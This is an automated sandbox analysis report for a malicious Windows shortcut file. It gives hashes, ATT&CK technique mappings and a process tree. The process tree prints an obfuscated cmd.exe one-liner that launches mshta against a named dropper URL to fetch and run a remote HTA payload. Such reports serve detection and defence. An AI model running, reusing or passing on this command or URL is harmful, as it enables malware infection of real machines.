bc279a111eb2a22d1b3612f5e4aa8d1896fefb65785982b08b1ded347285aebc

Analysis

max time kernel
58s
max time network
57s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
22/08/2026, 03:31

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General

Target
DOC-B7AVBD.lnk
Size 1KB
Sample260822-d3fjjs1ake
SHA256 bc279a111eb2a22d1b3612f5e4aa8d1896fefb65785982b08b1ded347285aebc
MD5 3d52408bcbc186b49c23835d78d4b7e6
SHA1 3616669a60ae17e0b3123c48797e54d4d05f3773
SHA512 5f47f07d14de58aabc2d8d83c601514995a999e8183fd818c2f76e55cfd67a5a5de84ef49885e8ddef8bb720f624888047044cae5d17919b07b266ba6f9d64a3
TLSH
T1753197006EFD0624F3F79F7784BB5B1089BBB8668D20C61E0150864D1072A11E67AF67
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://documntacion.lat/h/estagio1.php?r=3F1477F15398D1

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1420	cmd.exe
4684	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1420 wrote to memory of 4684	1420	cmd.exe	90
PID 4684 wrote to memory of 3256	4684	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-B7AVBD.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1420
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /V:on /c "set jKRq=msh&&set mfC=ta&&start "" !jKRq!!mfC! https://documntacion.lat/h/estagio1.php?r=3F1477F15398D1"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4684
- - C:\Windows\System32\mshta.exe
    mshta https://documntacion.lat/h/estagio1.php?r=3F1477F15398D1
    3⤵
    PID:3256

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads